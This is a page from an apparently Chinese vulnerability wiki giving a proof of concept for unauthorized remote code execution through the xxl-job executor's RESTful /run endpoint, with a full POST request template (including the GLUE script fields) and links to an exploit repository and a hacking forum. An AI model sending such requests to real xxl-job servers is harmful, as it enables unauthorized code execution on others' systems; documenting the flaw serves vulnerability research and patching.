menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right --Vulnerability-main chevron_right xxl-job 执行器 RESTful API 未授权访问 RCE.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    xxl-job 执行器 RESTful API 未授权访问 RCE.md
    1.42 KB / 2021-05-21 09:14:38
        # xxl-job 执行器 RESTful API 未授权访问 RCE
    
    
    PoC:
    
    以restful API 来看,看官方文档 xxl-job/XXL-JOB官方文档.md ,在没有access token的情况下 ,可以直接触发任务
    
    
    ```
    POST {执行器内嵌服务跟地址}/run
    
        {
            "jobId":1,                                  // 任务ID
            "executorHandler":"demoJobHandler",         // 任务标识
            "executorParams":"demoJobHandler",          // 任务参数
            "executorBlockStrategy":"COVER_EARLY",      // 任务阻塞策略,可选值参考 com.xxl.job.core.enums.ExecutorBlockStrategyEnum
            "executorTimeout":0,                        // 任务超时时间,单位秒,大于零时生效
            "logId":1,                                  // 本次调度日志ID
            "logDateTime":1586629003729,                // 本次调度日志时间
            "glueType":"BEAN",                          // 任务模式,可选值参考 com.xxl.job.core.glue.GlueTypeEnum
            "glueSource":"xxx",                         // GLUE脚本代码
            "glueUpdatetime":1586629003727,             // GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新
            "broadcastIndex":0,                         // 分片参数:当前分片
            "broadcastTotal":0                          // 分片参数:总分片
        }
    ```
    
    jas502n:https://github.com/jas502n/xxl-job
    
    
    https://forum.ywhack.com/thread-114622-1-5.html
    
    links
    file_download